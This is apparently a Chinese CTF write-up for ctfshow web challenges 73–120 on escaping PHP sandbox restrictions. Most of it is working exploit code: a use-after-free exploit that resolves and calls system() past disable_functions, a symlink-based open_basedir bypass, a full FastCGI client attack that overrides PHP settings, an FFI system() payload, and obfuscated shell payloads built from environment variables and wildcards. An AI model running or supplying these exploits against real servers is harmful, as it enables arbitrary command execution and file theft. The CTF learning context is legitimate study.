            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function my_str_repeat($a,$b){
        $s = '';
        for($i = 0; $i <= $b;$i++){
            $s.=$a;
        }  
        return $s;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(my_str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(my_str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
exit();

https://www.m00nback.xyz/2020/02/17/ctfshow%E9%83%A8%E5%88%86%E9%A2%98%E7%9B%AEwriteup/

https://www.jb51.net/article/141767.htm

但是我打不出來。。。。。

web73

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天嗎?

c=var_export(scandir('/'));die();得到

array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:

c=include('/flagc.txt');die();

web74~glob協(xié)議

c=var_export(scandir('/'));die();結(jié)果輸出NULL.

glob 協(xié)議讀?。?/p>

c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();

得到flag:

c=include('/flagx.txt');die();

web75~不太行

glob://協(xié)議讀文件名flag36.txt,

c=$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo$f->getFilename()."\n";}die();

接下來就是懵逼時(shí)刻了。

p牛的bypass open_basedir腳本:

<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

不大行 php獲取敏感信息的腳本:

<?php
printf("System: %s\n",php_uname());
printf("php_version: %s\n",phpversion());
printf("open_basedir: %s\n\n", ini_get('open_basedir'));
printf("disable_functions: %s\n\n", ini_get('disable_functions'));
printf("all_extensions: ");
foreach(get_loaded_extensions() as$key=>$value){
printf("%s ",$value);
}
printf("\n\nENVIRONMENT: ");
foreach(getenv() as$key=>$value){
printf("\n\n%s=%s",$key,$value);
}
foreach(ini_get_all() as$key=>$value){
printf("\n\n%s ==> %s",$key,$value["local_value"]);
}
exit();

攻擊fastcgi exp:

<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
    $this->_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
          $this->_keepAlive = (boolean) $b;
          if ( ! $this->_keepAlive && $this->_sock ) {
              fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
          $was_persistent          = ( $this->_sock && $this->_persistentSocket );
          $this->_persistentSocket = (boolean) $b;
          if ( ! $this->_persistentSocket && $was_persistent ) {
              fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
          $this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
          $this->_readWriteTimeout = $timeoutMs;
          $this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
          if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
              if ( $this->_persistentSocket ) {
                  $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              } else {
                  $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              }
              if ( ! $this->_sock ) {
                  throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
              }
              if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
          $clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
                 . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
                 . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
                 . chr( 0 )                        /* paddingLength */
                 . chr( 0 )                        /* reserved */
                 . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
              /* nameLengthB0 */
              $nvpair = chr( $nlen );
          } else {
              /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
              $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
          if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
          while ( $p != $length ) {
              $nlen = ord( $data{$p ++} );
              if ( $nlen >= 128 ) {
                  $nlen = ( $nlen & 0x7F << 24 );
                  $nlen |= ( ord( $data{$p ++} ) << 16 );
                  $nlen |= ( ord( $data{$p ++} ) << 8 );
                  $nlen |= ( ord( $data{$p ++} ) );
              }
              $vlen = ord( $data{$p ++} );
              if ( $vlen >= 128 ) {
                  $vlen = ( $nlen & 0x7F << 24 );
                  $vlen |= ( ord( $data{$p ++} ) << 16 );
                  $vlen |= ( ord( $data{$p ++} ) << 8 );
                  $vlen |= ( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
              $p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret                  = array();
          $ret['version']       = ord( $data{0} );
          $ret['type']          = ord( $data{1} );
          $ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength'] = ord( $data{6} );
          $ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
              $resp['content'] = '';
        if ( $resp['contentLength'] ) {
                  $len = $resp['contentLength'];
                  while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
                      $len             -= strlen( $buf );
                      $resp['content'] .= $buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request = '';
          foreach ( $requestedInfo as $info ) {
              $request .= $this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp = $this->readPacket();
          if ( $resp['type'] == self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
          $request       = $this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest = '';
    foreach ( $params as $key => $value ) {
              $paramsRequest .= $this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
          do {
              $resp = $this->readPacket();
              if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
                  if ( $resp['type'] == self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
              }
              if ( $resp['type'] == self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
                  if ( $resp['requestId'] == $requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info = stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes'] == 0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client("unix:///tmp/php-cgi-74.sock", -1);
  $php_value = "open_basedir = /";
$filepath  = '/tmp/readflag.php';
  $content   = 'hpdoger';
echo $client->request(
      array(
          'GATEWAY_INTERFACE' => 'FastCGI/1.0',
          'REQUEST_METHOD'    => 'POST',
          'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
          'PHP_VALUE'         => $php_value,
),
$content
);

可以用下面代碼判斷php以什么運(yùn)行:

<?phpechophp_sapi_name();exit();

下面這段代碼可以建立sock連接

<?php
$fp=fsockopen("www.example.com", 80, $errno, $errstr, 30);
if(!$fp) {
echo"$errstr($errno)<br />\n";
} else{
$out="GET / HTTP/1.1\r\n";
$out.="Host: www.example.com\r\n";
$out.="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)) {
echofread($fp, 128);
}
fclose($fp);
}
?>

web76

web77

php7.4,基本上命令執(zhí)行就告一段落了

提示說php7.4 立馬想到FFI

FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.phphttps://www.php.cn/php-weizijiaocheng-415807.html

payload:

$ffi = FFI::cdef("int system(const char *command);");//創(chuàng)建一個(gè)system對象
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去調(diào)用system函數(shù)

web118~linux系統(tǒng)變量

有過濾,fuzz 了一下

php中如何進(jìn)行ctfshow命令執(zhí)行

發(fā)現(xiàn)大寫字母 _ @ # $ ~ ; . ?等沒被過濾。

以前有個(gè)類似的題,但有不一樣,知識點(diǎn) https://yanmie-art.github.io/2020/09/28/ctfshow%E6%9C%88%E9%A5%BC%E6%9D%AF/

環(huán)境變量一般是指用來指定操作系統(tǒng)運(yùn)行環(huán)境的一些參數(shù),比如臨時(shí)文件夾的位置和系統(tǒng)文件夾位置等。

我們會經(jīng)常使用一些Linux下操作指令,如ls,ps等。這些命令我們在任何一個(gè)目錄下都能夠執(zhí)行。其實(shí)這些命令不過是一個(gè)個(gè)可執(zhí)行程序,一般存放在/bin或/usr/bin目錄下。你有沒有思考過當(dāng)我們執(zhí)行這些指令的時(shí)候,操作系統(tǒng)是怎么找到他們的呢?

其實(shí)操作系統(tǒng)能夠找到這些指令都要?dú)w功于,系統(tǒng)中的環(huán)境變量PATH。PATH環(huán)境變量中就記錄了這些文件所在的路徑,當(dāng)我們使用以上命令的時(shí)候,PATH環(huán)境變量就把指令的路徑提交給shell,Linux操作系統(tǒng)就是通過搜索PATH環(huán)境變量從而找到這些命令的。

可以使用env命令來查看我們linux 環(huán)境變量的設(shè)置。

如圖:

php中如何進(jìn)行ctfshow命令執(zhí)行

s

root@ecs-sn3-medium-2-win-20191202181542:~# env
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
SSH_CONNECTION=1.68.96.182 25650 192.168.0.196 22
LESSCLOSE=/usr/bin/lesspipe %s %s
LANG=en_US.UTF-8
DISPLAY=localhost:10.0
HISTTIMEFORMAT=%F %T root 
XDG_SESSION_ID=11226
USER=root
PWD=/root
HOME=/root
SSH_CLIENT=1.68.96.182 25650 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
SSH_TTY=/dev/pts/0
MAIL=/var/mail/root
TERM=xterm
SHELL=/bin/bash
SHLVL=1
LOGNAME=root
XDG_RUNTIME_DIR=/run/user/0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
HISTSIZE=1000
LESSOPEN=| /usr/bin/lesspipe %s
_=/usr/bin/env
  • 環(huán)境變量的格式

    • 環(huán)境變量名=內(nèi)容1:內(nèi)容2 //環(huán)境變量名一般大寫,多個(gè)內(nèi)容用":"隔開,且等號兩邊不能有空格

    • 查看環(huán)境變量名的內(nèi)容,可以使用指令:“echo $環(huán)境變量名”

      example:echo $PATH

  • 環(huán)境變量的添加

    添加環(huán)境變量使用指令export,分為臨時(shí)添加和永久添加

    • 臨時(shí)添加

      臨時(shí)添加只對當(dāng)前的終端有效,如果當(dāng)前終端關(guān)閉,則添加的環(huán)境變量接不存在了。

      比如我們本地編寫一個(gè)hello.c的文檔,然后用gcc編譯成hello可執(zhí)行文件。如果我們想在任何目錄下都可以執(zhí)行該文件,則只需要將其添加到環(huán)境變量中去。

      @export PATH=<hello文件所在的目錄>:$PATH

      此處如果不加":$PATH",則PATH環(huán)境變量以前的內(nèi)容就被覆蓋掉了,加上這個(gè)表示我們?nèi)砸盟暗膬?nèi)容,只不過再添加上我們的新內(nèi)容罷了。

    • 永久添加

      在Linux系統(tǒng)中,有些文件在系統(tǒng)啟動(dòng)的時(shí)候或用戶登錄的時(shí)候會自動(dòng)執(zhí)行。例如/etc/profile,這是一個(gè)Shell腳本文件,任何用戶登錄的時(shí)候都會執(zhí)行。

      所以,只要我們將環(huán)境變量添加到/etc/profile中,這樣在任何時(shí)候環(huán)境變量都有效。

開始做題。上邊題目小寫字母和數(shù)字都被過濾了。但是我們還可以使用大寫字母、$ 、冒號。

而linux 中環(huán)境變量恰好就是大寫字母。比如說常見的 PATH 變量。

root@ecs-sn3-medium-2-win-20191202181542:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

我們還可以echo ${PATH:1:1}會得到 字符u.

為什么呢?

$PATH是一串字符串,沖0 開始,取 1 位置也就是第2位字符開始取一位。

但是字母被過濾了就很難受。

我們還有一種方法,取 linux 變量代表字符串的長度,就可以構(gòu)成我們的變量了。

比如說echo ${#PATH}會得到 98 . 那么我們就可以使用env命令輸出的變量中的環(huán)境變量選擇一個(gè)合適的 取其長度 再結(jié)合$PATH構(gòu)造我們字符 getshell .

比如說我們想構(gòu)造ls

原本可以通過${PATH:5:1}${PATH:11:1}構(gòu)造,但是過濾了數(shù)字。

但是還可以這樣${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}.

$RANDOM是Bash的內(nèi)部函數(shù)(并不是常量), 這個(gè)函數(shù)將返回一個(gè)偽隨機(jī)[1]整數(shù), 范圍在0 - 32767之間. 它*不*應(yīng)該被用來產(chǎn)生密匙.

所以可以使用 ${#RANDOM} 表示 1 , 2 ,3,4,5 有幾率。

還可以:

${PATH:~0}輸出變量代表字符串的最后一位,但是我們的數(shù)字被過濾了,我們可以使用${PATH:~A},應(yīng)該是字符等于false等于 0 把,所以可以把最后一位給代表。

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}代表nl.

如果想要讀取文件的話可以使用 linux 通配符。

https://blog.csdn.net/wit_732/article/details/106290562

payload:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}??.???

#其他師傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}????.???

web119~通配符構(gòu)造 /bin/cat

環(huán)境界面和上題一樣,經(jīng)測試在上題的基礎(chǔ)上多過濾了PATH,那么這個(gè)系統(tǒng)變量肯定是不能用了。

cat 命令實(shí)質(zhì)上是在/bin/cat那么我們利用其它命令構(gòu)造他,

題目wp應(yīng)該是與題目環(huán)境即容器名稱有關(guān)。

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}????.???

這里$HOSTNAME就各機(jī)器都不同。

但是我自己構(gòu)造的在題目機(jī)器上又執(zhí)行不了。

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#RANDOM}:${#SHLVL}}

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HISTSIZE}:${#SHLVL}}

旨在構(gòu)造/bin/cat利用通配符/???/??t.

web120~通配符構(gòu)造 /bin/cat

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}

?>

又增加過濾了HOME

